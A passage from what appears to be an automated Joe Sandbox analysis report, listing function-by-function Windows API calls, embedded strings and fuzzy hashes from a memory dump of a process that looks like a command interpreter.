                                                                                      • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6AB6F
                                                                                      • RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6ABA4
                                                                                      • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6ABCB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseDeleteValue$CreateOpen
                                                                                      • String ID: %s=%s
                                                                                      • API String ID: 1019019434-1087296587
                                                                                      • Opcode ID: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
                                                                                      • Instruction ID: 501865f33e98d1e2661d09497e4e90c5200b25a7bfa3c6b31a86296b87e9f72e
                                                                                      • Opcode Fuzzy Hash: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
                                                                                      • Instruction Fuzzy Hash: 7C51C533B08B9286F760AB25A445B7AF6E1FB89780FA0D235DA5D83790DF38D445CB10
                                                                                      Function 00007FF78CF44A30 Relevance: 10.8, APIs: 7, Instructions: 318COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$FullNamePathwcsrchr
                                                                                      • String ID:
                                                                                      • API String ID: 4289998964-0
                                                                                      • Opcode ID: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
                                                                                      • Instruction ID: 2f1eab43a1ccc7cffb65e6f1711cc4682c928af0a57174ba662566a41e8d5e72
                                                                                      • Opcode Fuzzy Hash: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
                                                                                      • Instruction Fuzzy Hash: 56C1BF23B0935682FA94BB569548B79F7A0FB45B90FA09531DE0E077D1EF3CA4A1C320
                                                                                      Function 00007FF78CF4D250 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmp
                                                                                      • String ID: GeToken: (%x) '%s'
                                                                                      • API String ID: 2081463915-1994581435
                                                                                      • Opcode ID: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
                                                                                      • Instruction ID: 74da4cd9b4654ee9f68d70b2279d07879879370a619d31980266980bf227c0f7
                                                                                      • Opcode Fuzzy Hash: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
                                                                                      • Instruction Fuzzy Hash: 5271AA23E0824286FB68BB24E484AB5F6A0BF10754FF44539E51E4A6E0DF3CA5C5CB20
                                                                                      Function 00007FF78CF502A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmp$iswspacewcschr
                                                                                      • String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
                                                                                      • API String ID: 840959033-3627297882
                                                                                      • Opcode ID: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
                                                                                      • Instruction ID: 144734304fe46ddbb18f6b4c4e1fbaf6b56baefd8ae434f6c572dc3a742f7174
                                                                                      • Opcode Fuzzy Hash: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
                                                                                      • Instruction Fuzzy Hash: 0AD17A23E1864386FB50BB21A8452B9FAA0BF55B44FF49035EB1D862A5DF3CE549C730
                                                                                      Function 00007FF78CF432B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF53578: _get_osfhandle.MSVCRT ref: 00007FF78CF53584
                                                                                        • Part of subcall function 00007FF78CF53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF5359C
                                                                                        • Part of subcall function 00007FF78CF53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535C3
                                                                                        • Part of subcall function 00007FF78CF53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535D9
                                                                                        • Part of subcall function 00007FF78CF53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535ED
                                                                                        • Part of subcall function 00007FF78CF53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF53602
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF432F3
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000014,?,?,0000002F,00007FF78CF432A4), ref: 00007FF78CF43309
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF78CF43384
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF611DF
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
                                                                                      • String ID:
                                                                                      • API String ID: 611521582-0
                                                                                      • Opcode ID: 273daed2c2834dfc8b6dfef377a9808402fe7d58939b34531bf6f611b2348d3e
                                                                                      • Instruction ID: 13f746ce9744823bc7fd7123d9f69c07e6e64e3784839c61943438197a333d46
                                                                                      • Opcode Fuzzy Hash: 273daed2c2834dfc8b6dfef377a9808402fe7d58939b34531bf6f611b2348d3e
                                                                                      • Instruction Fuzzy Hash: E1A1E233F086529AFB14AB61A8046BCF6A1FF49B55FA58035DE0E47B84DF3CA449C720
                                                                                      Function 00007FF78CF526E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateFile_open_osfhandle
                                                                                      • String ID: con
                                                                                      • API String ID: 2905481843-4257191772
                                                                                      • Opcode ID: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
                                                                                      • Instruction ID: 92e1e1978c9d5b20caec168540a1372ce8b0e75ec2904953bb538c88f55787d6
                                                                                      • Opcode Fuzzy Hash: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
                                                                                      • Instruction Fuzzy Hash: 40718533A086819AF760AF14F441679FAA0FB89B61FA49334DB5E82794DF3CD549CB10
                                                                                      Function 00007FF78CF71A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
                                                                                      • String ID: CSVFS$NTFS$REFS
                                                                                      • API String ID: 3510147486-2605508654
                                                                                      • Opcode ID: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
                                                                                      • Instruction ID: c741c9cf78834f40f2d344306bd3f3c727cad1d17d158d676af1a3a06807cd6d
                                                                                      • Opcode Fuzzy Hash: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
                                                                                      • Instruction Fuzzy Hash: 7F614833608BC28AFB619F21E8453E9B7A4FB49B85F949135EA0D4B758DF78D248C710
                                                                                      Function 00007FF78CF472B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • longjmp.MSVCRT(?,00000000,00000000,00007FF78CF47279,?,?,?,?,?,00007FF78CF4BFA9), ref: 00007FF78CF64485
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: longjmp
                                                                                      • String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
                                                                                      • API String ID: 1832741078-366822981
                                                                                      • Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
                                                                                      • Instruction ID: 302de431e1f72f8d999f003c20c9435c3059eaa37c12d8dd492a200b5f7f13ba
                                                                                      • Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
                                                                                      • Instruction Fuzzy Hash: 72C18E23E0C68285F664FB565541EF8EBA2BB46B84FF40036ED0D97691CF2CE885C761
                                                                                      Function 00007FF78CF5662C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • wcschr.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF56677
                                                                                      • iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF5668F
                                                                                      • _errno.MSVCRT ref: 00007FF78CF566A3
                                                                                      • wcstol.MSVCRT ref: 00007FF78CF566C4
                                                                                      • iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF566E4
                                                                                      • iswalpha.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF566FE
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswdigit$_errnoiswalphawcschrwcstol
                                                                                      • String ID: +-~!$APerformUnaryOperation: '%c'
                                                                                      • API String ID: 2348642995-441775793
                                                                                      • Opcode ID: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
                                                                                      • Instruction ID: 8bebb86c37ca6ccb15078a841526ea84c0741244bccf8c72a6ddb14a868ae088
                                                                                      • Opcode Fuzzy Hash: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
                                                                                      • Instruction Fuzzy Hash: 3B717863908A86CAF7606F25E450179F7A0FB49B84BA4D131DB5E86394EF3CA685C720
                                                                                      Function 00007FF78CF486B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$_wcsicmp$AllocProcess
                                                                                      • String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
                                                                                      • API String ID: 3223794493-3086019870
                                                                                      • Opcode ID: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
                                                                                      • Instruction ID: 57f69ccc7cac4f41c1cbf2e6786ea485369da6abfde12c4b3ea2cfcbe124d1e5
                                                                                      • Opcode Fuzzy Hash: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
                                                                                      • Instruction Fuzzy Hash: 8D519127A08B4286FB14AF15A810179BBA0FF59B50FB89135DA5E477A0DF3CE445C720
                                                                                      Function 00007FF78CF686FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: LocalTime$ErrorLast_get_osfhandle
                                                                                      • String ID: %s$/-.$:
                                                                                      • API String ID: 1644023181-879152773
                                                                                      • Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
                                                                                      • Instruction ID: 6b9ff006c7ff4c6bf642d149f516e0964998dfcab1a486fca38aaa0ab01bd21f
                                                                                      • Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
                                                                                      • Instruction Fuzzy Hash: 6891B363A0868292FF14AB64D4516BAF7A0FF44B84FE48139DA4E43AD5EF3CE545C720
                                                                                      Function 00007FF78CF6627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF78CF67251), ref: 00007FF78CF6628E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ObjectSingleWait
                                                                                      • String ID: wil
                                                                                      • API String ID: 24740636-1589926490
                                                                                      • Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
                                                                                      • Instruction ID: 231ff3c5154ae61621965f15b60028d5e1d0db967115aed7967934d157313274
                                                                                      • Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
                                                                                      • Instruction Fuzzy Hash: 9E414F23A0868283F7606B11E442679F6A1FF86781FF49131E94B87B94DF3DE849C721
                                                                                      Function 00007FF78CF47AA0 Relevance: 15.2, APIs: 10, Instructions: 221COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateDirectoryDriveFullNamePathTypememset
                                                                                      • String ID:
                                                                                      • API String ID: 1397130798-0
                                                                                      • Opcode ID: 1e06caf0b77d17d600aef2fcb22a4425febc896dd4a75ac9af5e73f825b2a127
                                                                                      • Instruction ID: 59bfce0e44b616584d6eecd7c193a39536cdbb1a1efd2fb712544b3ce8617f5c
                                                                                      • Opcode Fuzzy Hash: 1e06caf0b77d17d600aef2fcb22a4425febc896dd4a75ac9af5e73f825b2a127
                                                                                      • Instruction Fuzzy Hash: 07917163B08B8286FA65AB11A8506B9F3A1FB48B84FA5C135DB4E47794DF3CD644C720
                                                                                      Function 00007FF78CF57E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D46E
